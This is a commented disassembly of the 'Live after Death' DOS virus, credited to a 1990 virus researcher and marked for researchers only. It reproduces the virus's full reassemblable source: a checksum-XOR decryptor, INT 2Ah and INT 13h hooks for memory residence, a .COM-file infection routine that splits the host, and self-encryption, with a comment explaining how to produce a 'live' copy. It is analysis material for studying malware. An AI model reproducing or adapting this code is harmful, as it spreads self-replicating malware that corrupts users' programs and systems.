page ,132 name V800 title The 'Live after Death' virus .radix 16 ; ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» ; º Bulgaria, 1404 Sofia, kv. "Emil Markov", bl. 26, vh. "W", ap. 51 º ; º Telephone: Private: (+35-92) 58-62-61, Office: (+35-92) 71-401 ext. 255 º ; º º ; º The 'Live after Death' Virus º ; º Disassembled by Vesselin Bontchev, May 1990 º ; º º ; º Copyright (c) Vesselin Bontchev 1989, 1990 º ; º º ; º This listing is only to be made available to virus researchers º ; º or software writers on a need-to-know basis. º ; ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ ; The disassembly has been tested by re-assembly using MASM 5.0. code segment assume cs:code, ds:code org 100 timer equ 46C v_len = v_end-v_entry start: jmp v_entry ; JMP to the virus code db 900d dup (90) ; The beginning of the infected program v_entry: ; The virus body begins here cli ; Disable interrupts xchg ax,bp ; Save AX call self ; Point SI at the start of the encrypted part self: pop si ; Get current address add si,19 ; (v_start-self) Length of the decryption part cld ; Clear direction flag mov di,si ; Point DI at v_start too xor dx,dx ; DX := 0 (the checksum is formed there) mov cx,(v_end-v_start)/2 ; The length of the encrypted part push cx ; Save it on stack do_chksum: ; Compute the checksum of the encrypted part lodsw ; Get word xor dx,ax ; ChkSum ^= Word loop do_chksum ; Loop until done pop cx ; Restore length (in words) in CX ; Decrypt the encrypted part. XOR every word of it with the computed checksum. decrypt: xor [di],dx ; XOR a word inc di ; Point to the next one inc di loop decrypt ; Loop until done ; The code beyond this point was encrypted. If this source is ; assembled now, it won't run, since the decryption part will ; scramble it. To produce a 'live' virus, the following code ; must be encrypted "manually" (i.e., with another program) ; after assembly. v_start: ; Adjust SI to point at v_entry (it currently points at v_end): add si,v_entry-v_end mov bx,sp ; Install a new stack at the mov cl,4 ; program's end - just to be sure shr bx,cl ; that the original one won't inc bx ; corrupt the virus mov ax,ss add bx,ax mov cx,v_len/2 ; CX := virus length in words mov di,4 mov ax,[di-2] ; Get TopMem segment (_psp [2]) dec dx ; Subtract 1 from the checksum push ds ; Save DS & checksum on the stack push dx mov dx,ds ; DX := DS mov ds,di ; Check if INT 2Ah is intercepted by a cmp ax,[di+(2A*4+2-(4*10+4))] ; program at TopMem je in_mem ; Virus present in memory if so ; Virus not in memory. Install it there: sub ah,2 ; Reserve 8 K memory (?!) cmp bx,ax ; Enough memory? jae no_mem ; Exit if not dec di ; Point DI at TopMem dec di stosw ; Lower TopMem by 8 K dec dx ; Point ES at program's MCB mov es,dx sub byte ptr es:[di],2 ; Lower MCB's size by 8 K too ; Install the new INT 2Ah handler. This interrupt (funcrion 82h) is ; called by PC-DOS on every file-related function. Thus, the virus ; gets control without even intercepting INT 21h! mov [di+(2A*4+2-(4*10+4))],ax ; Segment in_mem: mov word ptr [di+(2A*4-(4*10+4))],int_2A-v_entry ; Offset push ax les bx,[di+(13*4-(4*10+4))] ; Get the current INT 13h handler mov ah,13 ; Get the original INT 13h handler int 2F ; (DOS 3.30 only) mov cs:[si+do_it_i+1-v_entry],bx ; Save the found vector as a mov cs:[si+do_it_i+1+2-v_entry],es ; Far JMP in the virus body mov ah,13 ; Restore the internal (DOS) INT 13h handler int 2F mov ax,es ; Get INT 13h handler's segment in AX push cs ; DS := CS pop ds ; Compare the segment of the found INT 13h handler with the ; one, stored as a Far JMP. If they match, this means that ; the virus is already present in memory (i.e., loaded for ; a multiple infected file). les bx,[si+do_it_i+1-v_entry] cmp ax,[si+do_it_i+1+2-v_entry] ; Virus already in memory? pop ds ; Restore DS pushf ; Save the result of the comparision on stack push ds ; Save DS mov dx,int_13i-v_entry ; Install new internal INT 13h handler mov ah,13 ; Do it int 2F pop es ; ES := saved DS xor di,di ; DI := 0 push si ; Save SI & CX push cx ; Move the virus body in the allocated segment at TopMem: rep movs word ptr es:[di],word ptr cs:[si] push es ; ES := DS pop ds mov [di+0A],cl ; Zero old_op pop cx ; Restore CX & SI pop si pop [di+8] ; flags (i.e. - virus installed) pop [di+6] ; chksum-1 no_mem: pop es ; Clear the stack sti ; Enable interrupts push cs ; DS := CS pop ds mov di,offset start-2 ; DI := 0FEh push di ; Push this value in the stack mov ax,0A5F3 ; Store REP MOVSW there stosw push si ; Save SI add si,first3-v_entry ; Point SI at the saved first 3 bytes movsw ; Restore the original first 3 movsb ; bytes of the file pop di ; DI := saved SI lodsw ; Get the offset at which the file was split xchg ax,si ; Put it in SI add si,offset start ; Adjust it with the PSP length xchg ax,bp ; Restore AX (to keep DISKCOPY happy) ; On the top of stack now there is 0FEh. Therefore, the RET instruction ; will transfer the control to the program at this address. And at this ; address there is the REP MOVSW instruction (put there by the virus). ; Therefore, it will restore the second part of the file (split by the ; virus) and will begin to execute it from the beginning (the first 3 ; bytes are already restored). ret ; Infection routine: infect: push cx ; Save registers used push dx push si push di push ds push es xor cx,cx ; DS := AX := 0; CX = function xchg ax,cx mov ds,ax push cs ; ES := CS pop es mov di,do_it+1-v_entry ; Install new INT 13h handler mov si,13*4 mov ax,int_13-v_entry ; New handler's offset xchg ax,[si] stosw ; Save the old one as a Far JMP push ax ; Save it on the stack too mov ax,es ; Do the same with the handler's segment xchg ax,[si+2] stosw push ax mov ax,int_24-v_entry ; Install new INT 24h handler xchg ax,[si+24*4-13*4] push ax ; Save the old one on the stack mov ax,es ; Do the same with the handler's segment xchg ax,[si+24*4-13*4+2] push ax push ds ; Save DS & SI (0 and 13*4 respectively) push si xor dl,dl ; Turn Ctrl-Break checking off mov ax,3302 ; and get the old checking state int 21 push dx ; Save state on stack mov ax,1220 ; Get system file table number in ES:DI int 2F ; Do it jc inf_xit ; Exit on error push bx ; Save BX mov bl,es:[di] ; Put system file table number in BL mov ax,1216 ; Get address of system FCB in ES:DI int 2F ; Do it pop bx ; Restore BX jc inf_xit ; Exit on error mov si,ds:[timer] ; Load SI with a random value push es ; DS := ES pop ds mov cl,80 ; Prepare to test if it's a disk file cmp ch,3E ; Close file operation requested? jne dont_dup ; Don't duplicate handle if so mov ah,45 ; Otherwise do it int 21 jc inf_xit ; Exit on error xchg ax,bx ; Save handle in BX ; Prepare to test for disk file and wheather file has been written: mov cl,0C0 dont_dup: and cl,[di+5] ; Test the Device Info Word jnz inf_xit ; Exit if test fails xor dx,dx ; DX := 0 cmp dx,[di+13] ; Is file size > 64 K? jne inf_xit ; Exit if so mov ax,[di+28] ; Get the first 2 bytes of the file extension cmp ax,'XE' ; .EXE-file? je chk_last ; Go check the last letter too cmp ax,'OC' ; Maybe it's a .COM-file? jne chk_exec ; If not, try to infect it only on execution cmp ax,[di+20] ; Is this the file "COMM*.CO*"? mov ax,'MM' jne chk_last ; If not, check wheather it really has cmp ax,[di+22] ; a .COM extension je inf_xit ; Otherwise exit chk_last: cmp al,[di+2A] ; Check the last letter of file's extension je chk_len ; Check the file size if name does match chk_exec: cmp ch,4Bh ; Exec function requested? jne inf_xit ; Exit if not ; Check if file length fits in the infectable intervals. ; The infectable intervals are: ; 1024 - 8191 ( 0400h - 1FFFh) ; 9216 - 16383 ( 2400h - 3FFFh) ; 17408 - 24575 ( 4400h - 5FFFh) ; 25600 - 32767 ( 6400h - 7FFFh) ; 33762 - 40959 ( 8400h - 9FFFh) ; 41984 - 49151 (0A400h - 0BFFFh) ; 50176 - 57343 (0C400h - 0DFFFh) ; 58368 - 64511 (0E400h - 0FBFFh) chk_len: test byte ptr [di+12],00011100b jz inf_xit ; Exit if not in an infectable interval cmp byte ptr [di+12],11111100b jb len_ok inf_xit: ; File not suitable for infection jmp close ; Close it and exit len_ok: mov ax,[di+11] ; Get file size (from the internal FCB) xchg ax,si ; Put it in SI (the random value is now in AX) xchg al,ah ; "Randomize" it a bit more push si ; Save SI (pointed at file end) ; Compute in DX the random position at which the file will be split: sub si,3 div si ; DX := ((f_size - 3) mod rand ()) + 3 add dx,3 lds si,[di+7] ; Get Device Control Block info cmp byte ptr [si+8],2 ; Is the number of FATs >= 2? (?!) pop si ; Restore SI (to point at file end) jb inf_xit ; Exit if not (only 1 FAT, that is) mov byte ptr es:[di+2],10b ; Set file open mode to writable xor ax,ax xchg ax,es:[di+15] ; Get file position in AX and seek to file beg. push ax ; Save original position on stack push cs ; DS := CS pop ds push dx ; Save computed split position on stack mov dx,first3-v_entry mov cx,3 ; Read the first 3 bytes of the file mov ah,3F ; and save them in the virus body int 21 ; Do it pop ax ; Restore split position from stack jc xit1 ; Exit on error mov es:[di+15],ax ; Seek at split position sub ax,3 ; Form a JMP instruction to that position mov ds:[jmp_adr-v_entry],ax ; at jmp_op mov ax,ds:[first3-v_entry] ; Get the first 2 bytes of the file cmp ax,'ZM' ; Is it an .EXE-type file? je xit2 ; Exit if so cmp ax,'MZ' ; Double check for .EXE-files je xit2 ; Exit if such file mov dx,buffer-v_entry mov cx,v_len ; Read the original (up to v_len) mov ah,3F ; bytes into the buffer int 21 ; Do it xit1: jc xit2 ; Exit on error ; Get the number of bytes read in CX and put the virus length in AX: xchg ax,cx ; SI points at file end. Add the virus length to get the new file size: add si,ax ; Now subtract the number of bytes read in, just to compute ; the offset from the beginning of the file, at which the ; second part of the splitted file has to be written: sub si,cx mov es:[di+15],si ; Seek at the computed offset mov ah,40 ; Write the original second part of the file int 21 ; Do it jc xit2 ; Exit on error sub ax,cx ; All bytes written? jnz xit2 ; Exit on error xchg ax,si ; SI := 0; AX := split position mov ds:[split-v_entry],ax ; Save split position in the virus body mov ax,ds:[jmp_adr-v_entry] ; Get the computed new JMP address add ax,3 mov es:[di+15],ax ; And seek to that address in the file push dx ; Save DX (currently points at the buffer area) xor dx,dx ; DX := 0 (the checsum is formed there) mov cx,v_len/2 ; Virus length in words ; Compute the new checksum of the virus and use it to encrypt the virus: encrypt: lodsw ; Get a word from the virus body db 81, 0FE, 20, 0 ; I was unable to make MASM generate this (?!) ; cmp si,v_start-self+1 jb no_crypt ; Don't encrypt the decryption part xor ax,ds:[chksum-v_entry] ; Compute the checksum xor dx,ax no_crypt: mov word ptr [si+(data_1-v_entry)],ax ; Encrypt with it loop encrypt ; Loop until done xor dx,ds:[chksum-v_entry] ; Save the checksum xor [si+2F3],dx ; (?!) pop dx ; Restore DX (to point to the buffer area) mov cx,v_len ; Write the virus body in the file mov ah,40 int 21 ; Do it jc xit2 ; Exit on error sub ax,cx ; All bytes written? jnz xit2 ; Exit on error mov es:[di+15],ax ; Seek to file beginning (AX == 0 now) mov dx,jmp_op-v_entry mov cx,3 ; Overwrite the first 3 bytes of the file mov ah,40 ; with a JMP to the virus code int 21 ; Do it xit2: pop word ptr es:[di+15] ; Restore file position or byte ptr es:[di+6],40 ; Set 'File Modified' bit close: mov ah,3E ; Close the file int 21 pop dx ; Restore Ctrl-Break state from stack mov ax,3301 ; Set old Ctrl-Break state int 21 pop si ; Restore SI & DS (13*4 and 0 respectively) pop ds pop word ptr [si+24*4+2-13*4] ; Restore the old pop word ptr [si+24*4-13*4] ; INT 24h handler pop word ptr [si+2] ; Restore the old INT 13 handler pop word ptr [si] pop es ; Restore used registers pop ds pop di pop si pop dx pop cx ret ; Done. Exit ; New INT 2Ah, subfunction 82h handler. DOS calls ; this function on every file-related operation. int_2A: push si ; Save registers used push di push bp push ds push es mov bp,sp cmp ah,82 ; Function 82h? jne int2A_xit ; Exit if not mov ax,ds ; Is the current DS equal to caller's CS? cmp ax,[bp+0C] jne int2A_xit ; Exit if not mov si,[bp+0A] ; Get the byte at caller's CS:IP lodsb cmp al,0CC ; Is it an INT3 instruction? je int2A_xit ; Exit if so mov ax,1218 ; Get caller's registers int 2F les di,[si+12] ; CS:IP, more exactly cmp byte ptr es:[di],0CC ; Is there an INT3 instruction? je int2A_xit ; Exit if so mov ax,cs ; Called from the current segment cmp ax,[si+14] ; (i.e., from the virus)? je int2A_xit ; Exit if so cmp word ptr es:[di-2],21CDh ; Called from INT 21h? jne int2A_xit ; Exit if not push cs ; ES := CS pop es mov di,v_len ; Point ES:DI at virus length lodsw ; Get caller's AX mov bp,ax ; Save it in BP sub ah,3Dh ; Open file handle function requested? je ok4inf ; OK for infection if so dec ah ; Close file function requested? je ok4inf ; OK for infection if so sub ah,0Dh ; Exec function requested? jne int2A_xit ; Exit if not cmp al,2 ; Subfunctions 0 or 1? jae int2A_xit ; Exit if not ; Now AH == 0. Check to see if count (ES:[DI-3E]) is zero too. ; If it's not, that would mean that this file handle belongs ; to an already infected by the virus file. ok4inf: cmp ah,es:[di-3E] ; Is count equal to zero? mov cs:[di-3E],ah ; Zero count jne int2A_xit ; Exit if not mov bl,0C2 ; Othewise scramble BX (?!) ; Get the caller's CS:IP and save them as a Far JMP (just at v_end). ; Also, modify them to point at the program at loc_1. In this way, ; when the INT 2Ah handler terminates, the program at loc_1 will ; receive control. It will (eventually) infect the file and then ; perform a Far JMP to the place, where INT 2Ah was called. mov ax,loc_1-v_entry ; Offset xchg ax,[si+10] ; Shouldn't it be [si+14]? (?!) dec ax dec ax stosw mov ax,cs ; Segment xchg ax,[si+12] stosw xchg ax,bp ; Restore AX from BP stosw ; And save it in old_ax int2A_xit: pop es ; Restore used registers pop ds pop bp pop di pop si ; New INT 24h handler. Just terminate; AH ; already contains the suggested action. int_24: iret ; End of INT 2Ah and INT 24h handlers int_13i: ; New internal INT 13h handler cmp byte ptr cs:[old_op-v_entry],0 ; Iterrupt called from virus? je do_it_i ; If not, just perform it "as is" xor ah,ah ; Else zero the old_op flag and call the xchg ah,byte ptr cs:[old_op-v_entry] ; interrupt with the true value do_it_i: db 0EA, 71, 0A9, 0, 0F0 ; Far JMP to old intern INT 13h handler int_13: ; New INT 13h handler mov byte ptr cs:[old_op-v_entry],ah cmp ah,4 ; VERIFY operation specified? je verify ; Return OK without performing it cmp ah,3 ; WRITE operation requested? jne do_it ; Just execute the old handler if not push cs:[flags-v_entry] popf ; What was the flags state? jz do_it_i ; Execute operation if flags OK dec ah ; Otherwise fake a READ operation do_it: db 0EA, 1F, 1Dh, 70, 0 ; Far JMP to old INT 13h handler verify: sub ax,ax ; Return 'No errors' (AX == 0 && CF == 0) sti ; Enable interrupts retf 2 ; Done. Exit count db 1 ; Counter how many times the file is infected first3 db 0E9, 0F8, 3 ; The first 3 bytes of the file split dw 6A7 ; Address at which the file was split dw 46BC ; (?!) jmp_op db 0E9 ; Here a JMP to the virus code is formed jmp_adr dw 384 ; The addres at which is JMPed db 0, 'Live after Death', 0 loc_1: pushf ; Save Flags cli ; Disable interrupts push bx ; Save BX cld ; Clear direction flag inc byte ptr cs:[count-v_entry] ; Increment infection counter cmp ah,3E ; CLOSE function call? je do_inf ; Just infect file if so xchg ax,bx ; Otherwise get handle in BX mov ax,3D00 ; Open the file for Reading only int 21 jc dont_inf ; Don't infect if an error occured xchg ax,bx ; Get handle in BX do_inf: call infect ; Infect the file dont_inf: mov ax,cs:[old_ax-v_entry] ; Restore caller's AX pop bx ; Restore BX popf ; Restore Flags ; Here is formed a Far JMP to the program, which called INT 2Ah, function 82h: db 0EA v_end equ $ ; End of virus code old_ax equ v_end+4 ; Place to store caller's AX chksum equ old_ax+2 ; Here a checksum is formed for encryption flags equ chksum+2 ; Flag data_1 equ flags+1 ; (?!) old_op equ data_1+1 ; The last INT 13h operation buffer equ old_op+1 ; Program I/O buffer db 116d dup (90) ; The second part of the infected program mov ax,4C00 ; Exit program int 21 code ends end start